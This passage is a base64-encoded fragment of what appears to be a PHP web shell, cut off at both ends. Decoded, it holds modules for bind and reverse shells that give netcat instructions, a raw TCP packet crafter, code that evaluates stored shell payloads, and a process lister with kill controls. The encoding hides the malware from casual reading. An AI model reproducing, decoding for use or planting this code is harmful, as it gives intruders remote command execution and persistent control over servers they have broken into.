3MVhPSXhBNFdjVVJXSVF3T3VSZDBEMUQzczF6WXhyNnlxcDhiZW9wbjMwdFBJZEV1dDFzVGorNWdkbE5TR0hGcy9jS0Q2ZlRHbzFXVjVNZUJPZFY1L3hDSHB5K1dGdkxPNVpYNXNhTXlacm5OOW1VektodCtJc2JUNTRRWUY3bVgxajdyZm5uSlpram03MkJKdVViM0xDS3lNSmlSaDIzZmt0SXBSRjJSSFdtc3pTV055R1NsUTFIS3djOWpXNlpYM3hhNjkzYzhiMVV2Y3BBdlY4NE5hbnZKUG1iOXdzKzFIcnJLQXBoZTlNYVVDRHlHVVB4eCtvc1VldkcwVzNENnZodW45QVgyREpEK25YbHVhN3RMbkZYMTk3d0RUSXFuL3djWC80bkVHOFJqR3plbjhMY1loTlAza1lYdGtCYTI4VE1TMmdhMEZPK1dvWTd1TWRSQTkvcjdkcmRBMnVkTmM3ZDZVN0MzOU50SDdRdkdSMWVjd3NIMEN4aTdKbFlqaGYzQTNKNzZpejUrNGRtOWZVeHdxTE9LZHRGMWpXME5qN2Voc2lMUTdmNlAvQ0UrTmdrbVhiT2llRXhpNFZram02UTdLRUYrZHB5Uk5RMTJta3ROU0k5endZalZsVmZZb3ZGZGoyUDE0REhoWmYwSTdUQjIySXhaK1V3OTVMdCt4V21Qelc3elRoQ2IycHJNUnl3bkJ6NGE1byticGx5QW8wZVRkSTN2T3RZMFRZMURRTXd4MGpHdjlyK1Q1M3pobmpxaWk0eWpmZmEzVHlqYlJKYUdIdXA0OHhtQzFvYlZpQ0ZyVnUvdVdZMmRhSFRTQUZRUXdMd3c3ZzhtWXVrRlAwNjNycTRBb2ZFcml6bWFueUMxUjgrVXpMbGRreG1JejNiS3N5bmFWYkp6NkU3dWZEOE9UQ29JMmZ6TVhPYTY3QlpGQTFpYWpRRG1UbnQ1MGN2ZXJpZWphNHlFT1dWM1IzMlRITTkrMUVEZnlORWxzeU41Z1ZmYTh4em0wQ3NLRS9XamczaFBSL0EwV0RVUTFDUDJvaVZ6ZWJXN1J1RzZGUFlaenpVdys3d0ZNZGcvME8xa3grdHU2YVRzcEZrTXUwdTNQeTFPcmR2c1J3WFZTM3FJQVEvbkU5MTlmUFR2NlR1c0hxb0Q5UDU2dnhmSjV1eWFEOGhMbDFIYkR4b2NvWGpzUnhDZm91SmtpYmVZVWxRTU9uK1RQNjJySTZQNmtISWV3WG1ieHRsNTlCeE1idDZIbjdjN05MN3IwTGZpRi9GZmtURlAxejdVRjlnT2pZcU9QNjk0UmVLbEc4dWhDSUxaNGNMazJMb3V5OXlsWURhQjVHU3BrMDNsN3VwYjU4NGdSMERIMmFkQ0JnTXZ1dEgyOWRxOTYyNlZQUENQR3BjaUc2ZnBMdlVPUDRDYjZVQzlWQTl5QTlmVTFpK201VmRkNlNhT0ZZVmpibEpxaHEvMUZrelowYlRhUzlWeFYxVW1zdFo4czNiOFY3cWhtT2ErM0tsdzM5cDVoL2NQL3dvUng0aFZRZkhMUVY3aWpUYkZmUnF5MFQwalNlV2hqd05yUWVSRFk5ZnF0SmlQY2JaNXhFRDR4QWRuTW5IZXA1Y3E3K2g3OVJrR3E3djZxKzVIenR2ZTI2MmIyNjArYzloNjFhNkpwYitFbGtQVmE5TW5heDdrNFF1K0h6ay90VStBTFA2K0ZydXQ0TDh3dndxWE9JYVZNWm1EQ3NyS0p3VTkxZS8xM2dHZmV0OEVQZ1o4ZW9hZUx2WEgrSnBYTFI4dnVBTGRhc2I1c1haVlBLWjdRdis4WDBxWUtQQ05MaWQ2WG43czkyRGJQdWZXL0dNTVE0eWxUM1loVTJSUDNqWm9JV3NUSkpRdkx6T2I0S21peG1JWFpBb2h0c0kweE80WWJkOVF0cE1GYzByOWkrU2tFL2JpUkZUTm8rWE16ZWFYRm14ME1FWnZWK1QyRHZPTDRpVmpnMGhucVNGNURWdUE1OGV5SFF2Tyt5SUg4Mk9wM2RraVR3R0R2VE9DbEhiQzU0TDYvYVZuOWJoc2hxNVpudHY2Z2JWdjVZRnhtR2pVK2JMbEp2OUh0L1diaWR2dmh3YTREd3N3dUYxNTVtWGw3cGNzRjh6MlZVeXY4UWE3UUtwdVROLy9kOXhEYTczdExQTnN5dUNENDQ5S015NHV2QU9IODArSCtuZHMwT0dTbEYrMHljNHB5aXQwWDgwaXluWm1DYzdZYktFTEdzS2xSRnJlSHI1UllrZGkxdTBoQkRXSElNN2VMbGo3Ty9BOFBYWmxoNXBoaVZ6aHRwTVlUVnpaK2Ywc2ZkQ1RwTy9yaUlHL1BPUHBJM3FvblZjRTYzNmxOeTJ3L0VCbno3T3MrcnkyM2RJVkxXeXh6ZjhwUkRrcmRzdlo3SE1lRGw5THRoSVhxZnRlUFBKcGkyNWxBQnRESGcxVldLNUd1N3ZPVzlmQkR6UkZ3MldXQU11Qm82WGJ4eW04RnNmOWwwU1YzQVpDN2tHQ3hzakZ6OTVaY2dFZFJTZXJLdEhSZVBwaWFRVnF1RjhLT09pSTU4WEV6M0JDZkQxbk9GblNyVE9jQUZGRThzeXNYeEowNUhpcVROU2Q1VzU3WXZCSlUrdlNxS1N0QU1LeFArZ0xtT2FPYWZMM0ZMcHdLakdBdUdnRHNtWVBTU3BKelVqYnR0VEx4ME1rdmZ3Q1FhUUFmMTAyUDFhY0lWSEJZbVd3VktoU2lWV3BQaXQ4TTZHZkVRUlJiUlZMcFpBL2xLYVF5OFZwc0ZoRUlnSEIwVkZ4TWFIQjZDeGlZbktBS0lrOEkyZm1OQXRMWkdJb1hTaVJxcFZpZnhJQVFSc2tOUTZiWHlsaHRWRDZuanFQR1loWEtML3JxcmtPTFV6Tlc2ZUNoREJXSkZvNjNsdjd6WGJiclBVK0NmSk11U0pIRG1VVmpzaHJ4dFVpeFlZUEZHbUxKQXFHVWdIWFg1SjFrUlY3czllcjZHRWVKSi81TmRsdXFSTGhrdmZGaHMrd2hmMFF6c3BvYTdkLzR5c0U4MzRzZ05sSnhNeWxnR0FKeGkzZjhma1dXZDlsQktFQVhDcFJpdzJtZ2pMVkJDZVY2bXZGb3daZzcrRTE3a2R1NWl5SmFES2xTZXZ5cHp5eG9TUnJycGtLaHBIcEM2VDB4czZwNmhyN3JIbVFyU2JEZGxuU1hjcEJOOElSMi9Ba1R0bVg3QnFXekRnTWxWNkxDMDRvT2pWWU53NUdrQVVnMWM4NW9PV1RrZUhPWXVEcllpeEkwZUlXaXloaEd4dFQ2c3pubTRQSm1UYTdiUXFrdmJuOGx0MDQ0T3hqODkwbDNWdHNzUldVSUd1QmxpVmNRZjh5cmIxTmdHTXUyVHM3bTErcHlYbGlhWjlMeFJRdG0yWVFCQ0ZhcTQzRit0MjRzS0pQaDNkTjlsRGpHVERwNnJWbXM1T0VHa1BEeG5aU3MwdndtWmFUcld2dU9kVy9ISlp1aU5hQ3hiamRUVTlJdmtIa2pWUnY0eEU3em5YM3FMdnZUcStuMHBNTElFZmZwTFhWVi93RTV5SFpPOXdFdW9qQm0zQmVVQmljc2RCWFMvSExGZHh5djU2OTRCUnJyVlZNOExZYkg3cnZEYjdEM1YxdEUzWjMxZEc5UzlZR2hQbGY3MWcrL2g2cGVZL0s1NzNRMEVqZkh1dFJrcm5aZHJQUi9OeDRjLzZOZ3BqZ1hQbisxQU0zbFBhYmFKdUx0TzcxN1RraGJhVkpwQ0xwOHZGUFF5RStPZGtkd0d3czJXTjc4V05DL0FETVVTL0V0UnlLS1VtdlBTckZUVzhuS1ZsbHB5Umx2cnhOY0dHcERIVy91dGd4UmxXcE00N2NYSWJ6V0swS2p5ZUk3dnBHM2NYQkh4NDhmaW9LZFNzdk50MTgwSmVOdWdOUHAvRzlkSGl3N01wNkZ1RWRQMXdZV3VoVVRGSjZsaWJCS0Nzck1aYkIxNDJMU3lweFdkQXlFZG9IWkxtc3FyUUMzR2llR2taSFFCWk9GaEx4bWVhY05SUmZuOFVFRXc2QlNEdjMvc3ZaUmc3QXd0a2xhQ0s1UUJLT1VyQjNEekcvazhVdDlSUmlncVVLbFJoODNqc2RJWlNMcEdLbFdBaUxZNVNLTk9UNmNQVitMaTFFYkErTEpiQWtUU2lORTZkVjkvQTRjUTZoY2p1bGZiVlZabUl1M1o4U3ZxSkhycWhabUMyaHltWGlwUnVFN3NMVWp1ckE2a2d1a3lkVXNaUnpsRGJQYjN6NE1rb2hVa3NMbkVPNHlQaVFsWDFFSEx3YVZtZXRsYWNyRHZVa3F5QjhUcmJrL1UvR1plSXUzcVZzZXlLY0lOL0svL2xWOVhMUjU4ZXpITUlrVWpNTHExd3hFUzlWQ1U5STFhOWl2Qi9lT0pNUEI5Q3FaRFdPRFRhSndxU3dxamp5eURkV3cydWpVN2ZORC8raXEvcWxieTZmbnhFdW15Ly9Pa01iMWRHZ29tWmh4UmliOUIwN1hsVExCc1Z1S3I0d2l3SG5aZEZxYjh6K1liOGY0VkNxMVpLMlI2YzlxQXM5L2VBZlJtWW4wMHVaQklYRVNwNllNdEFuWFFoZzB1ZW41enp2VGU3UEljakVzclNzdk5VRWxTUkQzdW53dzNXaE5EczlDeXBPUDFzcDdSci9XMU5pSERlT2s3bVFhMWNmVkc1enB5MjQ2eDJwVTUzMWVTaFhsYmE4ZGtMWXNDTlZJaGQ1cXdKbUpUdWtndzRkR1ZzVjJaMmI2bFB6dHU4NnRWVXV4ZVBEMjVVcTZTWmkvc3JpekJXY2d6R2hQQXdSN1ovNUdrRkxjMno3VE9kTTlpZi82QURNMG1GTlE5SVFQcGwrMkpPOGVjNzhic2Q3R0RBZ1QzNkxlcExDeVZxQ0F5Q0M4czRLa002bFozWGkxM2tjdERJdVorSmFsWURuOWphUEQyVWxsT2JkSlF6ajR5THlWQys0UU9BazhCQU5STjVlSVJXZW44SldPQXdOeVZ5WUpnK2wyeVRkRU4zYTZjcmtlSWkzRm5SQVBVWEtzcE00VmN3YzE1WUpIaTVWclRVTHdrcDNPbXB5Sk1GWm81aUt3UlA0ZWNHeDhYNDBRY1lCNWdtMkt5eFZIYUk4RFlDTWk3WXl4aTdOQlFvWWJ6cFZOb0M4N1ZrRkRmYVZITURRWU9FalNLTDJCbUtoRzEvTEhueFlDU0VjMDZVbTZPZHBSNllaWGNyaEN6TnQvTzhRaGduVHBScFZXNzhOVmYxZXJkb0JuTkxtU2g4UnpkYU9JVENzdS9wN2Z1c2ZBalhFL2RQa0g0cHByMkFMWGdMUEVFUjdHMk93VzZaOU9aMU4yNE1OUWhlMVZqMHhtSVkrTVl4NnJMWVIxQkcwMTBEdElKanpDK2JXSUErRlUzUVR0VHZSbGU0aGhMc1BCR0J5SmpSckFQVlRQV0VQSDB5L01rQzhZcUlYTnkyZTFGZ0dNR016dVZZbEhUOTJHaG9BSXdEb0NkWW1PRURQQncyRm5vQUozZXV6R08wMUluSlloUHFIMEhKRUU5eXRlNUVZOGZSTUFuSjQ1c1VFU2lmb2NGb3phSG1NSE01RkFmMFpLVHFpMWNZUXBIN21WVUZNL0RZd0xoRzViOWg5QXIxNkdpaGZJM0RMVDRxSmo1a0Jrd3pIWjRpRytyVm9VcUtYNmF1TmEyTzJZZUtRMjBKRENGdXpEVmpacFA1Vk82UVo5SXRGRU11Y0RRMmdoZ05NZjFOa2dtMjI0VFlpTUp2KzQ2OUl1MlVrcFpHQ2xqWnhBQzJxZG9JMzluY1NZZUlBL3kvL0M2UzBIUUJFN1gvRXZrQmp6Wit3U2pRdStSTldqOGJHOXYrK2JqT0szME8xSDlYbnFHSnZBd0Q5OXB1NWVXOHQrNjMxZkdzalEyUFhoL0o4dkQxQ2VEeEFwc3BPVThMb01VNEtKTVo1ODFIMGpSc2RIUG1XQWZBVVFoRlBrcW9VS3ZPNEFCQXVobWVlVDF5UlNDbFdxUUJnZytUMTBRekZZUFJvOTF2TWxVb1ZhYjlGWVVxeEdQM20wRnpKNitUWGlRQmZva2hGLy96b0hWdVJsaW1HMGRvek4rZi9PNy81dndBPSI7CgokR0xPQkFMU1snbW9kdWxlJ11bJ25ldHdvcmsnXVsnaWQnXSA9ICJuZXR3b3JrIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ3RpdGxlJ10gPSAiTmV0d29yayI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbmV0d29yayddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ2NvbnRlbnQnXSA9ICIKPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+Cgk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+QmluZCBTaGVsbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZXJ2ZXIgSVA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JpbmRBZGRyJyB2YWx1ZT0nIi4kc2VydmVyX2FkZHIuIicgZGlzYWJsZWQ+PC90ZD48L3RyPgoJPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdiaW5kUG9ydCcgdmFsdWU9JyIuJGRlZmF1bHRfcG9ydC4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncnNfZ29fYmluZCcpO1wiPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290PgoJPHRyPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHg7Jz4KCQkJPHNlbGVjdCBpZD0nYmluZExhbmcnIGNsYXNzPSdyc1R5cGUnPgoJCQkJIi4kd2luYmluYXJ5LiIKCQkJPC9zZWxlY3Q+CgkJPC90ZD4KCQk8dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cInJzX2dvX2JpbmQoKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxwcmUgaWQ9J2JpbmRSZXN1bHQnPlByZXNzICcgcnVuICcgYnV0dG9uIGFuZCBydW4gJyBuYyBzZXJ2ZXJfaXAgcG9ydCAnIG9uIHlvdXIgY29tcHV0ZXI8L3ByZT48L3RkPjwvdHI+CjwvdGZvb3Q+CjwvdGFibGU+Cjxicj4KPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+Cgk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+UmV2ZXJzZSBTaGVsbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5UYXJnZXQgSVA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JhY2tBZGRyJyB2YWx1ZT0nIi4kcmVtb3RlX2FkZHIuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3JzX2dvX2JhY2snKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JhY2tQb3J0JyB2YWx1ZT0nIi4kZGVmYXVsdF9wb3J0LiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyc19nb19iYWNrJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHI+CgkJPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPgoJCQk8c2VsZWN0IGlkPSdiYWNrTGFuZycgY2xhc3M9J3JzVHlwZSc+CgkJCQkiLiR3aW5iaW5hcnkuIgoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwicnNfZ28oJ2JhY2snKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxwcmUgaWQ9J2JhY2tSZXN1bHQnPlJ1biAnIG5jIC1sIC12IC1wIHBvcnQgJyBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyAnIHJ1biAnIGJ1dHRvbjwvcHJlPjwvdGQ+PC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGJyPgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5TaW1wbGUgUGFja2V0IENyYWZ0ZXI8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIHN0eWxlPSd3aWR0aDoxMjBweCc+SG9zdDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0SG9zdCcgdmFsdWU9J3RjcDovLyIuJHNlcnZlcl9hZGRyLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPlN0YXJ0IFBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldFN0YXJ0UG9ydCcgdmFsdWU9JzgwJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5FbmQgUG9ydDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0RW5kUG9ydCcgdmFsdWU9JzgwJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5Db25uZWN0aW9uIFRpbWVvdXQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldFRpbWVvdXQnIHZhbHVlPSc1JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5TdHJlYW0gVGltZW91dDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0U1RpbWVvdXQnIHZhbHVlPSc1JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBpZD0ncGFja2V0Q29udGVudCcgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+R0VUIC8gSFRUUC8xLjFcXHJcXG5cXHJcXG48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj4KCQk8dGQ+CgkJCTxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJwYWNrZXRfZ28oKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+CgkJPC90ZD4KCQk8dGQ+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3BhY2tldFJlc3VsdCc+PC9kaXY+PC90ZD48L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgoiOwoKCmlmKGlzc2V0KCRwWydyc0xhbmcnXSkgJiYgaXNzZXQoJHBbJ3JzQXJncyddKSl7CgkkcnNMYW5nID0gJHBbJ3JzTGFuZyddOwoJJHJzQXJncyA9ICRwWydyc0FyZ3MnXTsKCSRyZXMgPSAiIjsKCglpZigkcnNMYW5nPT0icGhwIil7CgkJJGNvZGUgPSBnZXRfcmVzb3VyY2UoInJzXyIuJHJzTGFuZyk7CgkJaWYoJGNvZGUhPT1mYWxzZSl7CgkJCSRjb2RlID0gIlwkdGFyZ2V0ID0gXCIiLiRyc0FyZ3MuIlwiOyA/PiIuJGNvZGU7CgkJCSRyZXMgPSBldmFsX2dvKCRyc0xhbmcsICRjb2RlLCAiIiwgIiIpOwoJCX0KCX0KCWVsc2V7CgkJJGNvZGUgPSBnZXRfcmVzb3VyY2UoInJzXyIuJHJzTGFuZyk7CgkJaWYoJGNvZGUhPT1mYWxzZSl7CgkJCSRyZXMgPSBldmFsX2dvKCRyc0xhbmcsICRjb2RlLCAiIiwgJHJzQXJncyk7CgkJfQoJfQoKCWlmKCRyZXM9PT1mYWxzZSkgJHJlcyA9PSAiZXJyb3IiOwoJb3V0cHV0KGh0bWxfc2FmZSgkcmVzKSk7Cn0KZWxzZWlmKGlzc2V0KCRwWydwYWNrZXRUaW1lb3V0J10pJiZpc3NldCgkcFsncGFja2V0U1RpbWVvdXQnXSkmJmlzc2V0KCRwWydwYWNrZXRQb3J0J10pJiZpc3NldCgkcFsncGFja2V0VGltZW91dCddKSYmaXNzZXQoJHBbJ3BhY2tldENvbnRlbnQnXSkpewoJJHBhY2tldEhvc3QgPSB0cmltKCRwWydwYWNrZXRIb3N0J10pOwoJaWYoIXByZWdfbWF0Y2goIi9bYS16MC05XSs6XC9cLy4qLyIsICRwYWNrZXRIb3N0KSkgJHBhY2tldEhvc3QgPSAidGNwOi8vIi4kcGFja2V0SG9zdDsKCgkkcGFja2V0UG9ydCA9IChpbnQpICRwWydwYWNrZXRQb3J0J107CgoJJHBhY2tldFRpbWVvdXQgPSAoaW50KSAkcFsncGFja2V0VGltZW91dCddOwoJJHBhY2tldFNUaW1lb3V0ID0gKGludCkgJHBbJ3BhY2tldFNUaW1lb3V0J107CgoJJHBhY2tldENvbnRlbnQgPSAkcFsncGFja2V0Q29udGVudCddOwoJaWYoY3R5cGVfeGRpZ2l0KCRwYWNrZXRDb250ZW50KSkgJHBhY2tldENvbnRlbnQgPSBAcGFjaygiSCoiICwgJHBhY2tldENvbnRlbnQpOwoJZWxzZXsKCQkkcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsIlxuIiksICIiLCAkcGFja2V0Q29udGVudCk7CgkJJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXFxyIiwiXFxuIiksIGFycmF5KCJcciIsICJcbiIpLCAkcGFja2V0Q29udGVudCk7Cgl9CgoJJHJlcyA9ICIiOwoKCgkkc29jayA9IGZzb2Nrb3BlbigkcGFja2V0SG9zdCwgJHBhY2tldFBvcnQsICRlcnJObywgJGVyclN0ciwgJHBhY2tldFRpbWVvdXQpOwoJaWYoISRzb2NrKXsKCQkkcmVzIC49ICI8ZGl2IGNsYXNzPSd3ZWFrJz4iOwoJCSRyZXMgLj0gaHRtbF9zYWZlKHRyaW0oJGVyclN0cikpLiIgKGVycm9yICIuaHRtbF9zYWZlKHRyaW0oJGVyck5vKSkuIik8L2Rpdj4iOwoJfQoJZWxzZXsKCQlzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssICRwYWNrZXRTVGltZW91dCk7CgkJZndyaXRlKCRzb2NrLCAkcGFja2V0Q29udGVudC4iXHJcblxyXG5ceDAwIik7CgkJJGNvdW50ZXIgPSAwOwoJCSRtYXh0cnkgPSAxOwoJCSRiaW4gPSAiIjsKCQlkb3sKCQkJJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7CgkJCWlmKHRyaW0oJGxpbmUpPT0iIikgJGNvdW50ZXIrKzsKCQkJJGJpbiAuPSAkbGluZTsKCQl9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7CgkJZmNsb3NlKCRzb2NrKTsKCQkkcmVzIC49ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+Ii5odG1sX3NhZmUoJGJpbikuIjwvdGV4dGFyZWE+PC90ZD48L3RyPiI7CgkJJHJlcyAuPSAiPHRyPjx0ZD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+Ii5iaW4yaGV4KCRiaW4pLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7Cgl9CgoJb3V0cHV0KCRyZXMpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ3Byb2Nlc3NlcyddWydpZCddID0gInByb2Nlc3NlcyI7CiRHTE9CQUxTWydtb2R1bGUnXVsncHJvY2Vzc2VzJ11bJ3RpdGxlJ10gPSAiUHJvY2Vzc2VzIjsKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsnanNfb250YWJzZWxlY3RlZCddID0gInNob3dfcHJvY2Vzc2VzKCk7IjsKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsnY29udGVudCddID0gIiI7CgppZighZnVuY3Rpb25fZXhpc3RzKCdzaG93X3Byb2Nlc3NlcycpKXsKCWZ1bmN0aW9uIHNob3dfcHJvY2Vzc2VzKCl7CgkJJG91dHB1dCA9ICcnOwoJCSR3Y291bnQgPSAxMTsKCQlpZihpc193aW4oKSl7CgkJCSRjbWQgPSAidGFza2xpc3QgL1YgL0ZPIGNzdiI7CgkJCSR3ZXhwbG9kZSA9ICJcIixcIiI7CgkJfQoJCWVsc2V7CgkJCSRjbWQgPSAicHMgYXV4IjsKCQkJJHdleHBsb2RlID0gIiAiOwoJCX0KCgkJJHJlcyA9IGV4ZWN1dGUoJGNtZCk7CgkJaWYodHJpbSgkcmVzKT09JycpIHJldHVybiBmYWxzZTsKCQllbHNlewoJCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3BzVGFibGUnIGNsYXNzPSdkYXRhVmlldyBzb3J0YWJsZSc+IjsKCQkJaWYoIWlzX3dpbigpKSAkcmVzID0gcHJlZ19yZXBsYWNlKCcjXCArIycsJyAnLCRyZXMpOwoKCQkJJHBzYXJyID0gZXhwbG9kZSgiXG4iLCRyZXMpOwoJCQkkZmkgPSB0cnVlOwoJCQkkdGJsY291bnQgPSAwOwoKCQkJJGNoZWNrID0gZXhwbG9kZSgkd2V4cGxvZGUsJHBzYXJyWzBdKTsKCQkJJHdjb3VudCA9IGNvdW50KCRjaGVjayk7CgoJCQlmb3JlYWNoKCRwc2FyciBhcyAkcHNhKXsKCQkJCWlmKHRyaW0oJHBzYSkhPScnKXsKCQkJCQlpZigkZmkpewoJCQkJCQkkZmkgPSBmYWxzZTsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0Jz5hY3Rpb248L3RoPiI7CgkJCQkJCWZvcmVhY2goJHBzbG4gYXMgJHApICRvdXRwdXQgLj0gIjx0aD4iLnRyaW0odHJpbShzdHJ0b2xvd2VyKCRwKSkgLCJcIiIpLiI8L3RoPiI7CgkJCQkJCSRvdXRwdXQgLj0gIjwvdHI+IjsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRwaWQgPSB0cmltKHRyaW0oJHBzbG5bMV0pLCJcIiIpOwoJCQkJCQkkdGJsY291bnQgPSAwOwoJCQkJCQkkb3V0cHV0IC49ICI8dHIgZGF0YS1waWQ9JyIuJHBpZC4iJz4iOwoKCQkJCQkJZm9yZWFjaCgkcHNsbiBhcyAkcCl7CgkJCQkJCQlpZih0cmltKCRwKT09IiIpICRwID0gIiAiOwoJCQkJCQkJJHAgPSB0cmltKHRyaW0oJHApICwiXCIiKTsKCQkJCQkJCSRwID0gaHRtbF9zYWZlKCRwKTsKCQkJCQkJCWlmKCR0Ymxjb3VudCA9PSAwKXsKCQkJCQkJCQkkb3V0cHV0IC49ICI8dGQ+PGRpdiBjbGFzcz0nY0JveCc+PC9kaXY+PC90ZD48dGQ+PGEgY2xhc3M9J2tpbGwnPmtpbGw8L2E+PC90ZD48dGQ+Ii4kcC4iPC90ZD4iOwoJCQkJCQkJCSR0Ymxjb3VudCsrOwoJCQkJCQkJfQoJCQkJCQkJZWxzZXsKCQkJCQkJCQkkdGJsY291bnQrKzsKCQkJCQkJCQlpZigkdGJsY291bnQgPT0gY291bnQoJHBzbG4pKSAkb3V0cHV0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPiIuJHAuIjwvdGQ+IjsKCQkJCQkJCQllbHNlICRvdXRwdXQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiRwLiI8L3RkPiI7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQkkY29sc3BhbiA9IGNvdW50KCRwc2xuKSsxOwoJCQkkY29sc3BhbkFsbCA9ICRjb2xzcGFuKzE7CgkJCSRvdXRwdXQgLj0gIjx0Zm9vdD48dHI+PHRkPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGQ+PHRkIGNvbHNwYW49Ii4kY29sc3Bhbi4iIHN0